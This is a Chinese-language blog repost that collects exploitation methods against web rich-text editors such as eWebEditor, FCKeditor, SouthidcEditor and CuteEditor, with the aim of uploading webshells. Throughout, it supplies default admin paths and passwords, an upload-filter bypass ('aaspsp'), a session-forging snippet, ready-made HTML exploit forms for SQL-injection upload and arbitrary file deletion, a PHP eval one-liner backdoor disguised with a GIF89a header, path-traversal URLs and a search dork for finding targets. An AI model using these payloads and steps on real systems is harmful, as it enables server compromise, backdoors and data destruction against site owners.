zoukankan      html  css  js  c++  java
  • 各种在线编辑器漏洞

    常见的一些编辑器:ewebeditor ewebeditornet fckeditoreditor southidceditor SouthidcEditor bigcneditor


    其实如果大家多关注编辑器的话,会有惊人的发现,尤其是jsp,php版的,一个webshell基本上就是一台服务器啊~~~

    一:首先说说最近不断爆洞的ewebeditor

    (一)ASP版

    /webeditor/dialog/about.htm 查看版本

    1:默认管理后台:

    http://www.test.com/ewebeditor/admin_login.asp

    后台如果能进入:

    可点击样式管理:

    standard 拷贝一份(直接修改改不了)

    在拷贝的一份里加入图片类型( asa aaspsp ) 然后点预览

    在编辑器里点设计 然后直接上传asa大马.

    上传后 在代码里可以看到马的位置!

    (原理:因为在iis里 网站的属性里 应用程序配置一项 asa扩展名还是用asp.dll来解析的,asp也是 还有 cer cdx )

    在cer cdx asa的被删掉 那么马儿就找不到 映射不过去.

    可以在拷贝过后的样式 图片类型里加入 aaspsp 然后在上传 直接就可以上传asp文件


    2:下载默认数据库

    www.test.com/ewebeditor/db/ewebeditor.mdb

    然后分析数据库

    webeditor_system(1) 就可以看到用户名和密码 如果破解不出来

    可以在webeditor_style(14 样式表里

    主要看允许上传文件的扩展名(s-fileext s_ingeext)

    看到一个小黑客曾经搞过 多了asa aaspsp

    可以用他来利用!(后台找不到的情况下也可以用此方法)

    可以构造语句:

    比如 ID=46 s-name =standard1

    构造 代码: ewebeditor.asp?id=content&style=standard

    ID和和样式名改过后

    ewebeditor.asp?id=46&style=standard1


    然后就是进入编辑器 上传asa 或者asp的 得到webshell

    前面的1跟2说的是asp版的ewebeditor,其他如php,jsp跟asp的差不多,这里不多说.

    针对这种方法可能出现的问题:

    (1).使用默认用户名和密码无法登录。
    请试试直接下载db目录下的ewebeditor.mdb文件,用户名和密码在eWebEditor_System表中,经过了md5加密,如果无法下载或者无法****,那就当自己的运气不好了。
    (2).加了asa类型后发现还是无法上传。
    应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = Replace(UCase(sAllowExt), "ASP", "")一句上修改,我就看见过一个站长是这样修改的:
    sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), "ASP", ""), "CER", ""), "ASA", ""), "CDX", ""), "HTR", "")
    猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了“asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名的过滤。
    (3).上传了asp文件后,却发现该目录没有运行脚本的权限。
    呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以修改的吗?

    (4).已经使用了第2点中的方法,但是asp类型还是无法上传。
    看来站长肯定是一个写asp的高手,但是我们还有最后一招来对付他:看到“远程类型”了吗?eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的“应用文件映射”中的“asp”删除。

    漏洞原理
    漏洞的利用原理很简单,请看Upload.asp文件:
    任何情况下都不允许上传asp脚本文件
    sAllowExt = Replace(UCase(sAllowExt), "ASP", "")
    因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件需要过滤,为什么不同时过滤asa、cer等文件呢?也许这就是对免费用户不负责任的表现吧!

    3.eWebEditor session欺骗漏洞

    eWebEditor在线编辑器

    漏洞文件:Admin_Private.asp

    漏洞语句:<%

    If Session("eWebEditor_User") = "" Then

    Response.Redirect "admin_login.asp"

    Response.End

    End If

    只判断了session,没有判断cookies和路径的验证问题。

    漏洞利用:

    新建一个h4x0r.asp内容如下:

    <%Session("eWebEditor_User") = "11111111"%>

    访问h4x0r.asp,再访问后台任何文件,for example:Admin_Default.asp

    漏洞影响:虚拟主机的克星.

    4.ewebeditor asp版 2.1.6 上传漏洞

    <H1>ewebeditor asp版 2.1.6 上传漏洞利用程序</H1><br>

    <form action="http://127.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">

    <input type=file name=uploadfile size=100><br><br>

    <input type=submit value=Fuck>

    </form>

    http://127.1/e/upload.asp

    上传时修改此处上传地址。。。

    如果你是上传的asp文件则成功后的地址为:

    http://127.1/e/uploadfile/xxxxxxxxxx.asp

    5.ewebeditor遍历路径漏洞
    Ewebeditor为非常常见的网站核心程序,
    默认数据库为 /db/ewebeditor.mdb 默认路径admin_login.asp 默认管理员admin密码admin(admin888)

    ewebedit进入后台添加样式.得到webshell很容易. 有时候很不幸.管理员把数据库改为只读权限.

    但是ewebeditor后台有个小小的缺陷. 可以历遍整个网站目录. 当然.数据库为只读的时候一样可以利用.

    上传文件管理---选择样式目录(随便选一个目录)
    得到:
    ewebeditor/admin_uploadfile.asp?id=14
    在id=14后面添加&dir=..
    再加 &dir=../..
    &dir=../../../.. 看到整个网站文件了

    6.eweb2.7版本以下又一个注入

    首先看代码(ewebeditor.asp):
    ub InitPara()
    ' 取全屏标志
    sFullScreen = Trim(Request.QueryString("fullscreen"))
    ' 取对应的内容ID
    sContentID = Trim(Request.QueryString("id"))
    If sContentID = "" Then ShowErr "请传入调用参数ID,即隐藏的内容表单项ID!"

    ' 取样式初始值
    sStyleName = Trim(Request.QueryString("style"))
    If sStyleName = "" Then sStyleName = "standard"

    sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
    oRs.Open sSql, oConn, 0, 1
    If Not oRs.Eof Then
    sStyleID = oRs("S_ID")
    sStyleName = oRs("S_Name")
    sStyleDir = oRs("S_Dir")
    sStyleCSS = oRs("S_CSS")
    sStyleUploadDir = oRs("S_UploadDir")
    nStateFlag = oRs("S_StateFlag")
    sDetectFromWord = oRs("S_DetectFromWord")
    sInitMode = oRs("S_InitMode")
    sBaseUrl = oRs("S_BaseUrl")

    sStyleUploadDir = Replace(sStyleUploadDir, "\", "/")
    If Right(sStyleUploadDir, 1) <> "/" Then
    sStyleUploadDir = sStyleUploadDir & "/"
    End If
    Else
    ShowErr "无效的样式Style参数传入,如果要使用默认值,请留空!"
    End If
    oRs.Close
    关键的是这两句:
    sStyleName = Trim(Request.QueryString("style"))
    If sStyleName = "" Then sStyleName = "standard"

    sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
    很明显的是style参数没有足够的过滤,如果我们自己给这个地方赋值的话,程序会报错的,



    但接下来的一句还是让我们有可乘之机,If sStyleName = "" Then sStyleName = "standard"保留默认的还是会带入语句执行,加个单引号就报错了,如图2.[local]1[/local]
    我试了好几款工具,发现只有pangolin可以注入,啊D只能发现注入不能继续猜解。
    eweb默认的管理员表是:ewebeditor_system
    这个表下的默认两个列名为:sys_UserName和sys_userpass
    需要手动添加,

    7.ewebeditor2.8最终版删除任意文件漏洞

    这个漏洞可以很鸡肋,也可以很致命,关键看你怎么利用!

    此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:

    ' 把带"|"的字符串转为数组
    Dim aSavePathFileName
    aSavePathFileName = Split(sSavePathFileName, "|")
    ' 删除新闻相关的文件,从文件夹中
    Dim i
    For i = 0 To UBound(aSavePathFileName)
    ' 按路径文件名删除文件
    Call DoDelFile(aSavePathFileName(i))
    Next

    而aSavePathFileName是前面从数据库取出来的:

    sSavePathFileName = oRs("D_SavePathFileName")

    看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:

    sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
    ...
    oRs("D_SavePathFileName") = sSavePathFileName

    居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:

    Function GetSafeStr(str)
    GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
    End Function

    无语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!

    下面给出利用的htm:
    <HTML><HEAD><TITLE>eWebEditor删除文件 by:oldjun(http://www.oldjun.com)</TITLE>
    <style>body,p,td,input {font-size:9pt}</style>
    </HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a>

    <b>增加新闻</b>

    <form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
    method="post" name="myform">
    <input type=hidden name=d_originalfilename>
    <input type=hidden name=d_savefilename>
    <table cellspacing=3 align=center>
    <tr><td>要删的文件(相对路径就可以了):</td>
    <td><input type="text" name="d_savepathfilename" value="" size="90"></td>
    </tr>
    <tr><td>新闻标题(随便填):</td>
    <td><input type="text" name="d_title" value="" size="90"></td>
    </tr>
    <tr><td>标题图片:</td>
    <td><select name="d_picture" size=1><option value=''>无</option></select>
    当编辑区有插入图片时,将自动填充此下拉框</td>
    </tr>
    <tr><td>新闻内容(随便填):</td>
    <td><textarea name="d_content"></textarea></td>
    </tr>
    </table>

    <input type=submit name=btnSubmit value=" 提 交 ">
    <input type=reset name=btnReset value=" 重 填 ">
    </form>
    </BODY></HTML>

    (二)ASPX版:

    受影响文件:eWebEditorNet/upload.aspx

    利用方法:添好本地的cer的Shell文件。在浏揽器输入javascript:lbtnUpload.click();就能得到shell

    嘿嘿....绕过了限制......成功的上传了ASPX文件....

    文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功.....

    (三)PHP版

    关于eWebEditor 漏洞php版本的和asp的一样。有目录浏览。和编辑扩展名。重点在于虽然支持了php格式但上传还是上传不了。不过利用织梦的gif89a漏洞倒可以实现php一句话上传,然后再上传webshell。

    备注:织梦的gif89a漏洞,准确来说应该是DEDECMS中所用的php版的FCKeditor存在上传漏洞,gif89a文件头欺骗。DEDECMS中在上传拖上没有对picSubmit进行任何处理。但是却不能直接上传php马。因为会识别。使用修改过的php小马。

    gif89a

    <?php

    phpinfo();

    ?>

    RFI

    gif89a

    <?php

    eval($_POST[c]);

    ?>

    利用gif89a进行了欺骗。现在上传就可以成功了.然后有php一句话客户端连接.

    (四)JSP版

    上传漏洞

    影响版本:漏洞存在于ewebeditor jsp版 1.4以下版本,漏洞有两个版本。

    原理:第一个是使用savefile.jsp来进行文件上传操作的,从代码中可以看出,程序并没做任何上传过滤,这样我们就可以直接上传一个JSPShell了。另一个版本可能是被人修改过,把代码转成了servlet,不能看到代码,但是利用方法却大同小异。

    利用方法:我们先找一个1.4版本以下的ewebeditor JSP上传页面,选择好一个JSPShell。这个ewebeditor是没有提交按钮的,所以这里涉及到一个小技巧,就是在上传的对话框中敲下回车,大约过半分钟,就可以查看网页的源文件来寻找我们的Webshell了。

    这个JSP和PHP一样,如果系统权限没有特意去设置的话,默认我们得到webshell是system的权限,那么...^_^

    二:ewebeditornet 漏洞利用

    默认上传地址:

    www.test.com/ewebeditornet/upload.aspx


    可以直接上传一个cer的木马

    在无法上传的情况下

    可以地址栏构造以下代码: javascript:lbtnUpload.click();

    然后查看源代码:

    找到uploadsave 找到地址

    默认传到uploadfile这个文件夹里

    (漏洞修补: 可以在iss里直接把upload文件夹的执行权限选择无. )

    三:fckeditor 漏洞利用

    http://www.test.com/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=FileUpload&Type=Image&CurrentFolder=/
    就把文件名字段改成NEWfile 选择文件名可定义
    上传过后在/userfiles/image/找文件

    上传任意文件:

    fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp

    根据网站所使用不同语言自己改这个地址.

    FCKeditor的JSP版漏洞

    http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F

    http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
    上传shell的地址:
    http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector

    四:southidceditor

    1.

    http://www.xhkjit.com/admin/southidceditor/datas/southidceditor.mdb

    http://www.xhkjit.com/admin/southidceditor/popup.asp

    http://www.xhkjit.com/admin/southidceditor/admin/admin_login.asp

    2.southidceditor存在一个可以抓包上传的漏洞

    Google:inurl:(admin/SouthidcEditor/PopUp.asp)

    nc抓包自己玩玩吧.


    五:bigcneditor(这个我没有找到具体的漏洞,网上的文章也都比较不负责任,谁知道的请告诉我下,谢谢)

    这个页不多说了

    原理都差不多!

    防范方法很简单就不多讲了,

    六:CuteEditor编辑器通杀漏洞

    CuteEditor编辑器是.NET下最常用的一个编辑器..
    十分的强大..也许是因为他太强了 HEHE ..
    我们随便找到一个装有此编辑器的网站 点击插入图片 FLASH 影音文件 什么的都可以出来一个对话框.
    在这个对话框里可以游览用户所上传的数据还有目录..郁闷的是居然可以新建..移动..修改..
    在官网上甚至连删除都弄出来了..呵呵.. 我们这次主要是利用2003服务器的特性来进行利用..
    大家都知道在2003的IIS环境下 如果你建一个 XXX.asp 文件夹的话 里面不管放什么其他类型的文件
    在IIS里都会通过文件夹名的类型来解析 也就是说你传一个JPG的东西到 XXX.ASP下也会以ASP脚本
    来进行解析..我们这里就利用他这一特性...首先我们随便找一个编辑器 然后选择插入图片吧(如图1)..插入其他的
    东西都行..只要能新建文件目录..或者可以移动目录..

    看这里就有新建文件夹等等一些操作的按钮我们新建一个..如果新建不能用可以试试移动文件夹把以有的文件夹名改成 XXX.asp形式..


    好了.我们新建一个 www.asp 文件夹.


    确定..我们的文件夹就建好了..然后点击进入该文件夹 (

    然后到了最关键的...我们上传文件..
    用插入图片是上传不了的..他会检测是不是正常的图片..
    可以试试 插入 FLASH
    或者插入 视频 音乐文件..我们这里就插入视频.. 然后直接把 我们要传上去的马后缀改为 .avi形式

    然后进入我们刚才新建的那个目录 然后上传 .. 文件就上去了

    本文由 残剑 进行整理编辑,转载请注明出处。

  • 相关阅读:
    消息队列rabbitmq/kafka
    centos下redis安全相关
    Ubuntu安装
    python 操作redis集群
    redis 发布订阅
    redis基础
    解决Error parsing SQL Mapper Configuration. Cause: java.io.IOException: Could not find resource com/cqupt/paging/dao/User.xml
    mongodb启动出现Failed to connect to 127.0.0.1:27017 after 5000ms milliseconds,giving up
    MongoDB的安装及安装为windows服务
    解决jsp表达式不能解析的问题
  • 原文地址:https://www.cnblogs.com/jydeng/p/4418467.html
Copyright © 2011-2022 走看看